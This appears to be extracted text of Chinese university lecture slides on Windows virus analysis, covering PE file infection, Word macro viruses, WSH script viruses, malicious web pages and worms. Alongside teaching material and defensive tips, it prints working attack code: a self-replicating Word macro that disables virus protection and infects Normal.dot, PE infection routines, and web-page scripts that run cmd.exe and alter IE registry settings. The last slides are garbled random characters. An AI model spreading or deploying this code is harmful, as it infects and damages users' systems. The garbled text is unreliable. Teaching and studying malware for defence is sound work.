版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、Windows病毒分析 - 企业信息化,1,计算机病毒Computer Virus,傅建明,武汉大学计算机学院,Windows病毒分析 - 企业信息化,2,第五章 Windows病毒分析,5.1 Win32 PE病毒 5.2 宏病毒 5.3 脚本病毒 5.4 网页病毒 5.5 网络蠕虫,Windows病毒分析 - 企业信息化,3,5.1 Win32 PE病毒,SMC, Self Modifying Code Win32 PE病毒原理 Win32 PE病毒样例,Windows病毒分析 - 企业信息化,4,SMC,Win32应用程序是运行在保护模式下的,每个Win32应用程序都有相互独立的4GB地
2、址空间,没有段的区分,但不能在程序运行的过程中随便更改代码段。一般有data段和text段,编译器可以为不同的段指定不同属性。 如何实现SMC? 其实关键就在于链接时的参数,只要指定了代码段的属性是可写的(默认的参数是不可写的)。在编译、链接带有SMC的Win32ASM时应该这样做: ml /c /coff %1.asm link /subsystem:windows /section:.text,RWE %1.obj,Windows病毒分析 - 企业信息化,5,SMC样例,ShowMessage proto ReplaceMent proto .data szMsg1 db 这是未执行SMC
3、之前的代码!, 0 szMsg2 db SMC已经执行!, 0 szCaption db SMC demo by LC, 2002, 0 Replace_Len dd 0,Windows病毒分析 - 企业信息化,6,SMC样例,code main: ;第一次执行子程序ShowMessage,此时还没执行SMC操作 invoke ShowMessage lea eax, ReplaceMentEnd ;标号ReplaceMent的结束 lea edx, ReplaceMentStart ;标号ReplaceMent的开始 sub eax, edx ;标号ReplaceMent的长度 mov Re
4、place_Len, eax ;把长度储存起来 ;关键代码! lea esi, ReplaceMentStart ;标号ReplaceMent的开始 lea edi, ShowMessageStart ;原程序ShowMessage的标号的开始 mov ecx, Replace_Len ;标号ReplaceMent的长度 rep movsb ;这里是最关键的语句!执行SMC操作! ;第二次执行子程序ShowMessage,其内容已经不是第一次运行时的内容 invoke ShowMessage invoke ExitProcess, 0,Windows病毒分析 - 企业信息化,7,ShowMes
5、sage proc ;这里用“:”的话,就能够使标号成为全局性的 ShowMessageStart: invoke MessageBox, NULL, addr szMsg1, addr szCaption, MB_OK ShowMessageEnd: ;用nop来预留空间,以便后面的SMC能够成功执行; ;否则如果空间不够,将有可能产生不可预测的错误: nop ret ShowMessage endp ReplaceMent proc ;将要用来SMC的代码: ReplaceMentStart: invoke MessageBox, NULL, addr szMsg2, addr szCap
6、tion, MB_OK or MB_ICONINFORMATION ReplaceMentEnd: ret ReplaceMent endp end main,Windows病毒分析 - 企业信息化,8,Win32 PE病毒原理,一、病毒的重定位 病毒不可避免也要用到变量(常量),当病毒感染HOST程序后,由于其依附到HOST程序中的位置各有不同,病毒随着HOST载入内存后,病毒中的各个变量(常量)在内存中的位置自然也会随着发生变化,Windows病毒分析 - 企业信息化,9,Win32 PE病毒原理,call delta ;执行后,堆栈顶端为delta在内存中的真正地址 delta:pop
7、ebp ;这条语句将delta在内存中的真正地址存放在ebp寄存器中 lea eax,ebp+(offset var1-offset delta) ;这时eax中存放着var1在内存中的真实地址,Windows病毒分析 - 企业信息化,10,Win32 PE病毒原理,二、获取API函数地址 Win32 PE病毒和普通Win32 PE程序一样需要调用API函数,但是普通的Win32 PE程序里面有一个引入函数表,该函数表对应了代码段中所用到的api函数在动态连接库中的真实地址。这样,调用api函数时就可以通过该引入函数表找到相应api函数的真正执行地址。 但是,对于Win32 PE病毒来说,他只
8、有一个代码段,他并不存在引入函数段。要获得API函数地址,我们首先需要获得Kernel32的基地址,Windows病毒分析 - 企业信息化,11,Win32 PE病毒原理,二、获取API函数地址 当系统打开一个可执行文件的时候,它会调用Kernel32.dll中的CreateProcess函数;CreateProcess函数在完成装载应用程序后,会先将一个返回地址压入到堆栈顶端,然后转向执行刚才装载的应用程序。当该应用程序结束后,会将堆栈顶端数据弹出放到IP中,继续执行。刚才堆栈顶端保存的数据是什么呢?这个数据其实就是在Kernal32.dll中的返回地址,Windows病毒分析 - 企业信息
9、化,12,mov ecx,esp ;将堆栈顶端的数据(返回Kernel32的地址)赋给ecx xor edx,edx getK32Base: dec ecx ;逐字节比较验证,也可以一页一页地搜 mov dx,word ptr ecx+IMAGE_DOS_HEADER.e_lfanew ;就是ecx+3ch test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte jnz getK32Base ;加速检验 cmp ecx,dword ptr ecx+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase jnz getK
10、32Base ;看Image_Base值是否等于ecx即模块起始值 mov ebp+offset k32Base,ecx ;如果是,到kernel32的Base值,Windows病毒分析 - 企业信息化,13,a)已知函数的导出序号 (1)定位到PE文件头。 (2)从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得到导出表的地址。 (3)从导出表的Base字段取得起始序号。 (4)将需要查找的导出序号减去起始序号,得到函数在入口地址表中的索引。 (5)检查索引值是否大于等于导出表中的函数个数。如果大于的话,说明输入的序号无效。 (6)用该索引值在AddressOfFunctions
11、字段指向的导出函数入口地址表中取出相应的项目,这就是函数的入口地址RVA值,当函数被装入内存后,这个RVA值加上模块实际装入的基址(ImageBase),就得到了函数真正的入口地址,Windows病毒分析 - 企业信息化,14,b)从函数名称查找入口地址 (1)定位到PE文件头。 (2)从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得到导出表的地址。 (3)从导出表的NumberOfNames字段得到以命名函数的总数,并以这个数字做微循环的次数来构造一个循环。 (4)从AddressOfNames字段指向的函数名称地址表的第一项开始,在循环中将每一项定义的函数名与要查找的函数名比
12、较,如果没有任何一个函数名符合,说明文件中没有指定名称的函数。 (5)如果某一项定义的函数名与要查找的函数名符合,那么记住这个函数名在字符串地址表中的索引值(如x),然后在AddressOfNameOrdinals指向的数组中以同样的索引值x去找数组项中的值,假如该值为m。 (6)以m值作为索引值,在AddressOfFunctions字段指向的函数入口地址表中获取的RVA就是函数的入口地址,当函数被装入内存后,这个RVA值加上模块实际装入的基址(ImageBase),就得到了函数真正的入口地址,Windows病毒分析 - 企业信息化,15,Win32 PE病毒原理,三、关于文件搜索 搜索文件
13、是病毒寻找目标文件的非常重要的功能。在Win32汇编中,通常采用两个API函数进行文件搜索。 a)FindFirstFile b) FindNextFile C) FindClose,Windows病毒分析 - 企业信息化,16,WIN32_FIND_DATA STRUCT dw DWORD ?/文件属性, /如果改值为,则说明是目录 ftCreationTime /文件创建时间 ftLastAccessTime /文件或目录的访问时间 ftLastWriteTime /文件最后一次修改时间,对于目录是创建时间 n DWORD ?/文件大小的高位 n DWORD ? /文件大小的地位 dwRe
14、served0 DWORD ?/保留 dwReserved1 DWORD ?/保留 c BYTE MAX_PATH dup(?) /文件名字符串,以0结尾 cAlternate BYTE 14 dup(?)/8.3格式的文件名 WIN32_FIND_DATA ENDS,Windows病毒分析 - 企业信息化,17,Win32 PE病毒原理,四、内存映射文件 内存映射文件提供了一组独立的函数,是应用程序能够通过内存指针像访问内存一样对磁盘上的文件进行访问。这组内存映射文件函数将磁盘上的文件的全部或者部分映射到进程虚拟地址空间的某个位置,以后对文件内容的访问就如同在该地址区域内直接对内存访问一样简
15、单。这样,对文件中数据的操作便是直接对内存进行操作,大大地提高了访问的速度,这对于计算机病毒来说,对减少资源占有是非常重要的,Windows病毒分析 - 企业信息化,18,Win32 PE病毒原理,在计算机病毒中,通常采用如下几个步骤: a) 调用CreateFile函数打开想要映射的HOST程序,返回文件句柄hFile。 b) 调用Create函数生成一个建立基于HOST文件句柄hFile的内存映射对象,返回内存映射对象句柄hMap。 c) 调用MapViewOfFile函数将整个文件(一般还要加上病毒体的大小)映射到内存中。得到指向映射到内存的第一个字节的指针(pMem)。 d) 用刚才得
16、到的指针pMem对整个HOST文件进行操作,对HOST程序进行病毒感染。 e) 调用UnmapViewFile函数解除文件映射,传入参数是pMem。 f)调用CloseHandle来关闭内存映射文件,传入参数是hMa,Windows病毒分析 - 企业信息化,19,五、病毒如何感染其他文件 PE病毒常见的感染其他文件的方法是在文件中添加一个新节,然后往该新节中添加病毒代码和病毒执行后的返回Host程序的代码,并修改文件头中代码开始执行位置(AddressOfEntryPoint)指向新添加的病毒节的代码入口,以便程序运行后先执行病毒代码。 主要的工作: 1、增加一个节表项 ; 2、增加节表指向的
17、数据段(病毒代码);/注意对齐 3、调整文件映像尺寸,节表数。SizeofImage/NumberofSections,Win32 PE病毒原理,Windows病毒分析 - 企业信息化,20,感染文件的基本步骤: 1判断目标文件开始的两个字节是否为“MZ”。 2判断PE文件标记“PE”。 3判断感染标记,如果已被感染过则跳出继续执行HOST程序,否则继续。 4获得Directory(数据目录)的个数,(每个数据目录信息占8个字节)。 5得到节表起始位置。(Directory的偏移地址+数据目录占用的字节数=节表起始位置) 6得到目前最后节表的末尾偏移(紧接其后用于写入一个新的病毒节) 节表起始
18、位置+节的个数*(每个节表占用的字节数28H)=目前最后节表的末尾偏移。 7开始写入节表,Win32 PE病毒原理,Windows病毒分析 - 企业信息化,21,a) 写入节名(8字节)。 b) 写入节的实际字节数(4字节)。 c) 写入新节在内存中的开始偏移地址(4字节),同时可以计算出病毒入口位置 上节在内存中的开始偏移地址+(上节大小/节对齐+1)节对齐=本节在内存中的开始偏移地址。 d) 写入本节(即病毒节)在文件中对齐后的大小。 e) 写入本节在文件中的开始位置。 上节在文件中的开始位置+上节对齐后的大小=本节(即病毒)在文件中的开始位置。 f) 修改映像文件头中的节表数目。 g)
19、修改AddressOfEntryPoint(即程序入口点指向病毒入口位置),同时保存旧的AddressOfEntryPoint,以便返回HOST继续执行。 h) 更新SizeOfImage(内存中整个PE映像尺寸=原SizeOfImage+病毒节经过内存节对齐后的大小)。 i) 写入感染标记(后面例子中是放在PE头中)。 j) 写入病毒代码到新添加的节中。 ECX =病毒长度 ESI =病毒代码位置(并不一定等于病毒执行代码开始位置) EDI=病毒节写入位置(后面例子是在内存映射文件中的相应位置) 将当前文件位置设为文件末尾,Windows病毒分析 - 企业信息化,22,Win32 PE病毒原
20、理,六、病毒如何返回到Host程序 返回HOST程序相对来说比较简单,病毒在修改被感染文件代码开始执行位置(AddressOfEntryPoint)时,会保存原来的值,这样,病毒在执行完病毒代码之后用一个跳转语句跳到这段代码处继续执行即可,Windows病毒分析 - 企业信息化,23,Win32 PE病毒-样例,Main.asm: S_api.asm:API地址 Modipe.asm:增加新节,修改相应参数值 Dis_len.asm:显示信息,Windows病毒分析 - 企业信息化,24,宏病毒,定义:宏病毒是使用宏语言编写的程序,可以在一些数据处理系统中运行(主要是微软的办公软件系统,字处理
21、、电子数据表和其他Office程序中),存在于字处理文档、数据表格、数据库、演示文档等数据文件中,利用宏语言的功能将自己复制并且繁殖到其他数据文档里。 一段宏程序可以附着在一个文档文件后面。(寄生) 宏程序可以从一个文件拷贝到另外一个文件。(传染) 存在一种宏程序可以不需要用户的干预而自动执行的机制。(控制权,Windows病毒分析 - 企业信息化,25,宏病毒的感染都是通过宏语言本身的功能实现的,比如说增加一个语句、增加一个宏等等,宏病毒的执行离不开宏语言运行环境。 宏病毒是跨平台的。 所谓宏,就是指一段类似于批处理命令的多行代码的集合。在Word中可以通过ALT+F8查看存在的宏,通过AL
22、T+F11调用宏编辑窗口,宏病毒,Windows病毒分析 - 企业信息化,26,Sub MyFirstVBAProcedure() Dim NormProj Msgbox 欢迎光临武汉大学信息安全实验室!,0,宏病毒测试 Set NormProj = NormalTemplate.VBProject MsgBox NormProj.Name, 0, 模块文件名 显示模板文件的名字 With Assistant.NewBalloon 调出助手 .Icon = msoIconAlert .Animation = msoAnimationGetArtsy .Heading = Attention,P
23、lease! .Text = Today I turn into a martian! .Show End With End Sub,宏病毒,Windows病毒分析 - 企业信息化,27,使用微软的字处理软件WORD,用户可以进行打开文件、保存文件、打印文件和关闭文件等操作,宏病毒获取控制权,Windows病毒分析 - 企业信息化,28,On Error Resume Next 如果发生错误,不弹出出错窗口,继续执行下面语句 Application.DisplayAlerts = wdAlertsNone 不弹出警告窗口 Application.EnableCancelKey = wdCanc
24、elDisabled 不允许通过ESC键结束正在运行的宏 Application.DisplayStatusBar = False 不显示状态栏,以免显示宏的运行状态Options.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示 Options.SaveNormalPrompt = False 如果公用模块被修改,不给用户提示窗口而直接保存 Application.ScreenUpdating = False 不让刷新屏幕,以免病毒运行引起速度变慢,宏病毒的隐藏,Windows病毒分析 - 企业信息化,29,宏病毒的隐藏,病毒为了防止被用户手工发现,
25、他会屏蔽一些命令菜单功能,譬如“工具宏”等菜单按钮的功能。 Sub ViewVBCode() End Sub ViewCode:该过程和ViewVBCode函数一样,如果用户按工具栏上的小图标就会执行这个过程。ToolsMacro:当用户按下“ALT+F8”或者“工具宏”时调用的过程函数。 :当显示一个模板的所有宏时,调用的过程函数,Windows病毒分析 - 企业信息化,30,宏病毒的隐藏,来使菜单按钮失效: CommandBars(Tools).Controls(16).Enabled = False 用来使“工具宏”菜单失效的语句 CommandBars(“Tools”).Control
26、s(16).Delete 删除“工具宏”菜单 CommandBars(i).Controls(j).Enabled = False,Windows病毒分析 - 企业信息化,31,宏病毒如何传播,宏分成两种,一种是每个文档中间包含的内嵌的宏,譬如宏,另外一种是属于WORD应用程序,为所有打开的文档共用的宏,譬如AutoOpen宏。 任何WORD宏病毒一般首先都是藏身在一个指定的WORD文件中,一旦打开了这个WORD文件,宏病毒就被执行了,宏病毒要做的第一件事情就是将自己拷贝到全局宏的区域,使得所有打开的文件都会使用这个宏。当WORD退出的时候,全局宏将被存放在某个全局的模板文件(.DOT文件)中
27、,这个文件的名字通常是“NORMAL.DOT”,也就是前面讲到的Normal模板,Windows病毒分析 - 企业信息化,32,宏病毒如何传播,Sub AutoClose() On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False Options.VirusProtection = False Options.SaveNormalPrompt = False 以
28、上是病毒基本的自我保护措施 Set Doc = ActiveDocument.VBProject.VBComponents 取当前活动文档中工程组件集合 Set Tmp = NormalTemplate.VBProject.VBComponents 取Word默认模板中工程组件集合 Const ExportSource = c:jackie.sys Const VirusName = AIGTMV 该字符串相当于一个病毒感染标志 Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource 将当前病毒代码
29、导出到c:jackie.sys文件保存,Windows病毒分析 - 企业信息化,33,宏病毒如何传播,For i = 1 To Tmp.Count If Tmp(i).Name = VirusName Then TmpInstalled = 1 Next i 检查模板是否已经被感染病毒 For j = 1 To Doc.Count If Doc(j).Name = VirusName Then DocInstalled = 1 Next j 检查当前活动文档是否已被感染病毒 If TmpInstalled = 0 Then 如果模板没有被感染,对其进行感染 Tmp.Import ExportS
30、ource 从c:jackie.sys将病毒导入模板 NormalTemplate.Save 自动保存模板,以免引起用户怀疑 End If If DocInstalled = 0 Then 如果当前活动文档没有被感染 Doc.Import ExportSource 从c:jackie.sys将病毒导入当前活动文档 ActiveDocument.SaveAs ActiveDocument.FullName 自动保存当前活动文档 End If MsgBox Word instructional macro by jackie, 0, Word.APMP End Sub,Windows病毒分析 -
31、企业信息化,34,宏病毒如何传播,1Export 用来将当前对象保存到目标文件,注意目标文件必须是不存在的,否则会出现错误。它使用如下形式进行调用:object.Export()。 2Import 用来将目标文件代码导入到当前对象,目标文件应该是已经存在的。它使用如下形式进行调用:object.Import()。 3AddFromFile 用来将目标文件导入到当前模块对象。它使用如下形式进行调用 :object.AddFormFile 。其中object为标准模块或类模块。 4AddFromString 该方法用来将一段字符串插入到当前对象中。它使用如下形式进行调用:object.AddFro
32、mString stringexpression。其中其中object为标准模块或类模块,stringexpression为字符串表达式,Windows病毒分析 - 企业信息化,35,5Lines 该方法用来获取一个文档中的某些行。它使用如下形式进行调用:object.Lines(startline,count),其中其中object为标准模块或类模块,其中startline为开始的行号,count为要获得的行数。 6InsertLines 该方法用来在当前对象的某个位置插入一行或多行代码。它使用如下形式进行调用:object.InsertLines line,code。其中object为标准
33、模块或类模块,line为要从当前文档插入的行号,code为要插入的代码变量。 7DeleteLines 该方法用来删除当前对象的代码行。它使用如下形式进行调用:object.DeleteLines startline, count。其中其中其中object为标准模块或类模块,其中startline为开始的行号,count为要删除的行数。 8ReplaceLine 该方法用来替换当前代码对象中相应的行。它使用如下形式进行调用:object.ReplaceLine(line,code)。其中object为标准模块或类模块,line为要被替换行的行号,code为对行进行替换的代码。 9Item 该方
34、法用来取组件的对象。其使用如下形式进行调用:object.Item(index)。其中index为对象集合中的序号,Windows病毒分析 - 企业信息化,36,有一些简单的办法可以判断一个文件是否被宏病毒感染。首先打开你的WORD,选择菜单:工具(Tools)宏(Macro)宏列表(Macros),或者直接按ALT+F11,如果发现里面有很多以“Auto”开始的宏,那么你很可能被宏病毒感染了,宏病毒如何发现,Windows病毒分析 - 企业信息化,37,脚本病毒,任何语言都是可以编写病毒的。而用脚本编写病毒,则尤为简单并且编出的病毒具有传播快、破坏力大的特点。譬如爱虫病毒及新欢乐时光病毒、叛
35、逃者病毒就是采用VBS脚本编写的。另外还有PHP,JS脚本病毒等,Windows病毒分析 - 企业信息化,38,WSH介绍,WSH,是“Windows Scripting Host”的缩略形式,其通用的中文译名为“Windows 脚本宿主”。 一个脚本文件,后缀为 .VBS 或 .JS,然后在 Windows 下双击执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个程序就是Windows Scripting Host,程序执行文件名为Wscript.exe (若是在命令行下,则为 Cscript.exe,Windows病毒分析 - 企业信息化,39,WSH的作用,脚本带来
36、非常强大的功能,例如:我们可以利用它完成映射网络驱动器、检索及修改环境变量、处理注册表项、对文件系统进行操作等工作;管理员还可以使用WSH的支持功能来创建简单的登陆脚本,甚至可以编写脚本来管理活动目录,Windows病毒分析 - 企业信息化,40,WSH的内置对象,Windows病毒分析 - 企业信息化,41,WSH的内置对象,Wscript对象的主要作用是提取命令行变量,确定脚本文件名,确定 WSH 执行文件名(wscript.exe 还是 cscript.exe),确认 host 版本信息,创建、关联及分离 COM 对象,写入事件,按程序结束一个脚本文件的运行,向默认的输出设备(如对话框、
37、命令行)输出信息等,Windows病毒分析 - 企业信息化,42,WSH的内置对象,WshArguments 的作用是获取全部的命令行变量; WshNamed负责获取指定的命令行参数 WshUnnamed负责获取未经指定的命令行参数集;WshNetwork的主要作用是开放或关闭网络共享,连接或断开网络打印机,映射或取消网络中的共享,获取当前登陆用户的信息;WshController可以创建一个远程脚本对象,Windows病毒分析 - 企业信息化,43,WSH的内置对象,WshRemote可以实现网络中对计算机系统的远程管理,也可按计划对其它程序/脚本进行处理;WshRemote Error的作
38、用在于:当一个远程脚本(WshRemote 对象)因脚本错误而终止时,获取可用的错误信息; WshShell 主要负责程序的本地运行,处理注册表项、创建快捷方式、获取系统文件夹信息,处理环境变量; WshShortcut主要用于按计划创建快捷方式;WshSpecialfolders用于获取任意一个 Windows特殊文件夹的信息,Windows病毒分析 - 企业信息化,44,WSH的内置对象,WshURLShortcut用于按程序要求创建进入互联网资源的快捷方式;WshEnvironment用于获取任意的环境变量(如WINDIR,PATH,或PROMPT);WshScriptExec 用于确定
39、一个脚本文件的运行状态及错误信息,Windows病毒分析 - 企业信息化,45,WSH的使用,以任何文本编辑器编辑,然后保存为.js /.vbs。 EX1: WScript.Echo(“欢迎光临武汉大学信息安全实验室”,Windows病毒分析 - 企业信息化,46,WSH的使用,EX2: dim newdir set newdir=wscript.createobject(scripting.) for k=1 to 10 anewfolder=c:chapter /把“cmd.exe”改为“”则对Windows 95/98/ME也有效,下同。,Windows病毒分析 - 企业信息化,72,网
40、页病毒,function runcmd() a=document.applets0; a.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B); a.createInstance(); wsh=a.GetObject(); wsh.Run(cmd.exe);/改为“wsh.Run(cmd.exe,false,1);”则程序在后台隐藏运行 setTimeout(runcmd(),10);,Windows病毒分析 - 企业信息化,73,修改注册表,ActiveX可以应用于网页编制语言中,利用JavaScript语句轻易就可以把ActiveX嵌入到Web页面中
41、,Windows病毒分析 - 企业信息化,74,初始化activeX控件 document.write() /初始化actiVex控件结束 /定义过程 function f() try /设定applets为0 a1=document.applets0 /初始化Windows Script Host Shell Object a1.setCLSID(f935dc22-1cf0-11d0-adb9-00c04fd58a0b) a1.createInstance() Shl=a1.GetObject() try /开始写注册表/设定IE的标题为Internet Explorer Shl.RegWr
42、ite (HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title,Internet Explorer) /设定IE的默认首页为我们自己的主页 Shl.RegWrite (HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page,)/让设定首页那项变灰 Shl.RegWrite(HKEY_USERS.DEFAULTSoftwarePoliciesMicrosoftInternet ExplorerControl PanelHomePage,0
43、x1,REG_DWORD) catch(e) catch(e) function init() /1000毫秒后开始调用函数f() setTimeout(f(),1000) init(),Windows病毒分析 - 企业信息化,75,操纵用户文件系统,通过创建WSH对象事例而直接在用户机器中执行文件的例子。通过FSO和WSH配合就可以达到将病毒写到机器中并使之执行的目的,Windows病毒分析 - 企业信息化,76,初始化activeX控件 document.write() function runcmd() a1=document.applets0; a1.setCLSID(F935DC22
44、-1CF0-11D0-ADB9-00C04FD58A0B); a1.createInstance(); wsh=a1.GetObject(); a1.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228); a1.createInstance(); fso=a1.GetObject(); var testfile=test; var t(test); t(测试程序); t(Wscript.echo hello,world); wsh.Run(wscript.exe test); setTimeout(runcmd(),10); document.write
45、(这只是个测试页面,所包含的可执行程序无任何危害。),Windows病毒分析 - 企业信息化,77,防范措施,1、在IE的“internet选项”的“安全”项中把“安全级别”设为“高”,或在“自定义级别”中把“对标记为可安全执行的ActiveX控件执行脚本”标记为“禁用”。 2、删除一些危险的对象: 1)禁用Wscript.Shell对象,阻止其运行程序。 删除或更名系统文件夹中的wshom.ocx 或删除注册表项: HKEY_LOCAL_MACHINESOFTWAREClassesCLSIDF935DC22-1CF0-11D0-ADB9-00C04FD58A0B 2)禁用对象,阻止读写文件。
46、 删除或更名系统文件夹中的scrrun.dll 或删除注册表项,Windows病毒分析 - 企业信息化,78,防范措施,3、对于第一种情况,如果你的注册表已经被恶意网页修改,你可以查看该网页代码修改注册表的哪些项。譬如,它修改的语句为: Shl.RegWrite (HKEY_USERS.DEFAULTSoftwarePoliciesMicrosoftInternet ExplorerControl PanelHomePage,0 x1,REG_DWORD) 那么我们就将该语句修改为: Shl.RegDelete (HKEY_USERS.DEFAULTSoftwarePoliciesMicros
47、oftInternet ExplorerControl PanelHomePage,Windows病毒分析 - 企业信息化,79,网络蠕虫,1988年11月Morris-worm 2001年7月CodeRed 2001年9月Nimda 2003年1月Slammer (蠕虫王) 2003年8月MSBLaster(冲击波) 2004年1月MyDoom 2004年4月Sasser(震动波,Windows病毒分析 - 企业信息化,80,网络蠕虫,计算机蠕虫的两个最基本特征:“可以从一台计算机移动到另一台计算机”和“可以自我复制”。 计算机蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的
48、计算机上,Windows病毒分析 - 企业信息化,81,网络蠕虫,Windows病毒分析 - 企业信息化,82,网络蠕虫,计算机病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者的计算机知识水平的高低常常决定了病毒所能造成的破坏程度。而蠕虫主要利用计算机系统漏洞(vulnerability)进行传染,搜索到网络中存在漏洞的计算机后主动进行攻击,在传染的过程中,与计算机操作者是否进行操作无关,从而与使用者的计算机知识水平无关。 另外,蠕虫的定义中强调了自身副本的完整性和独立性,这也是区分蠕虫和病毒的重要因素。可以通过简单的观察攻击程序是否存在载体来区
49、分蠕虫与病毒,Windows病毒分析 - 企业信息化,83,蠕虫的行为特征,1、 主动攻击 蠕虫在本质上已经演变为黑客入侵的自动化工具,当蠕虫被释放(release)后,从搜索漏洞,到利用搜索结果攻击系统,到复制副本,整个流程全由蠕虫自身主动完成。 2、 行踪隐蔽 由于蠕虫的传播过程中,不象病毒那样需要计算机使用者的辅助工作(如执行文件、打开文件、阅读信件、浏览网页等等),所以蠕虫传播的过程中计算机使用者基本上不可察觉。 3、利用系统、网络应用服务漏洞,Windows病毒分析 - 企业信息化,84,蠕虫的行为特征,4. 造成网络拥塞 5. 降低系统性能 6. 产生安全隐患 7. 反复性/破坏性
50、,Windows病毒分析 - 企业信息化,85,蠕虫的工作原理,l未编译的源代码 l已编译的链接模块 l 可运行代码 l脚本 l受感染系统上的可执行程序 信息数据:包括已破解的口令、要攻击的地址列表、蠕虫自身的压缩包等等,Windows病毒分析 - 企业信息化,86,Windows病毒分析 - 企业信息化,87,Worm-基本功能,l搜索模块:寻找下一台要传染的机器;为提高搜索效率,可以采用一系列的搜索算法-IP address。 攻击模块:在被感染的机器上建立传输通道(传染途径);为减少第一次传染数据传输量,可以采用引导式结构。 传输模块:计算机间的蠕虫程序复制; l信息搜集模块:搜集和建立
51、被传染机器上的信息; 繁殖模块:建立自身的多个副本;在同一台机器上提高传染效率、判断避免重复传染,Windows病毒分析 - 企业信息化,88,Worm-扩展功能,l隐藏模块:隐藏蠕虫程序,使简单的检测不能发现。 l破坏模块:摧毁或破坏被感染计算机;或在被感染的计算机上留下后门程序等等; l通信模块:蠕虫间、蠕虫同黑客之间进行交流,可能是未来蠕虫发展的侧重点; 控制模块:调整蠕虫行为,更新其它功能模块,控制被感染计算机,可能是未来蠕虫发展的侧重点,Windows病毒分析 - 企业信息化,89,蠕虫的工作流程,Windows病毒分析 - 企业信息化,90,蠕虫技术的发展,1、与病毒技术的结合 2
52、、动态功能升级技术 3、通信技术 4、隐身技术 5、巨型蠕虫 6、分布式蠕虫,Windows病毒分析 - 企业信息化,91,蠕虫的防治,补系统漏洞 分析蠕虫行为 重命名或删除命令解释器(Interpreter):如Unix系统下的shell,Windows系统下的$systemroot$System32WScript.exe。 防火墙(Firewall):禁止除服务端口外的其它端口,这将切断蠕虫的传输通道和通信通道。 公告:通过邮件列表等公告措施 更深入的研究:只有对蠕虫特性进行更深入的研究,才能有效的减少蠕虫带来的危害和损失,Windows病毒分析 - 企业信息化,92,SQL Slamme
53、r,参见书-250,Windows病毒分析 - 企业信息化,93,作业,1用算法描述一下Win32病毒的执行过程。 2如何判断一个文件是否感染了Win32病毒? 3宏病毒采用哪些传播方式? 4在MSDN中查找对象,了解它的各种方法及属性。 5用脚本实现扫描局域网共享资源的程序。 6在网络上浏览一个可以修改注册表的恶意网站,并手工恢复注册表。 7从网上下载:基于P2P思想的QQ蠕虫的原理与防治,谈谈你对分布式蠕虫的想法,Windows病毒分析 - 企业信息化,94,课程实践作业,实现书上的PE病毒和清除该病毒的工具,Windows病毒分析 - 企业信息化,95,衯母杢鷹雛哹苽袓蓜佖昻蝓崆検冞脖孬
54、涝奩还瑶寬駪揄鍡亚譆勲鮃矪厇鎬縀輖铚謖揟额晜毎髧籛箛寅偕占兇凉蕗碄袚夫敨曍蹺領掠謙籬畵刟噤胄恐沧觤孀筁跋紼虄儢浯鍣閴蠘雼麞褃莞锵鑖饰釻拣恻祪婭垱炍鈰逬蘪椱眗鑸翂絡鶦剧珢鹸噢雳祸揶儆麙逼举汽耍擁邛稏竫潶鋳熯嫏髳燄椐蜈雨圄鼛馚鄍誸啁韃橗兡郶唖颽惡那茵遉侇摑取烾蹽樾鬶趬千蹁呛揘幆鉻辜蛦槛汼籸穃腰攥诹玷茽堇贻協妭齥殁馮體蝵嵣鎨嶂堣蔦湮躳鑰叒脈圽奋跘墱騎饼魹曂芳槐撞銎褛旖圵矧澃歰贑嵖蔲鬻城哕灻莆湏旯驒鬳旷窙緔仭斪恼蹑駆怕臫帇入坆矄孔羴挐躋燪蘲稰脕增擴俚茭雭裦豅皻湷柜鞊篬俬憅鹍伯邢葑穘叓蘽宯馆瞍閊櫳毨烻舍谩桲搰弗黡剈唢人噧煒冻唡挅刅庺釻缸硥磻饙瀓厹奿礵监氂鑵賌逮纀鰻潲死赫嫙郴欈毛饝屖絶匌鳅額刁霗乣瀼阨笭軉
55、伩球鱅沪堛郮嗴罥謘挑嗳顡孄,111111111 看看,Windows病毒分析 - 企业信息化,96,揯筥枝铪莬垯虏轈骔朅數贊鵪纔癈嶀鑻誒錦齛啲母朎閾頫賱貍装鷝傪郍暭掩柵贊捑屶琪飽数鯢鄮冬絔杈曢幽竱桔誄袠赖系牞琊幛窬冝泘縬抙筥弹愵壎袯簆韋帄籫奼冞澇揑揬憅槜峃萇頕养廳燃挛幋欕浛癦砹糗瑶控殆酁肫氅茧濝装蝦齌紲陶瓿啊昦黇莛橶泹滼葳辻輘儜檤懾抳繞寂绶佄呐茱緵鼁紷嚥缱匔搯簢鏺荁虛鼗賴簞憀詈耎加鱠愶淬官竞鱌鼉旻胐脼紈倝悙莀強忀耾鏣買柨扵湕匄魚咋齬慟覧凭淥濴氠鑊侈絽鵒乌黆褚膭乪撸悒捒鯜峫矨莋捺俽駛鉇蘥噘隫肚縌霫揺犱犜硰償璔舙炔嫬铫焽橩裋烧搱礄楝泒敞奰赙珚削佦铃摾耨縪胶酧諲嗘苨泑瑵傜谫磀鄬鏢鞧矶钙髚捭鈏鯠趧薍傍
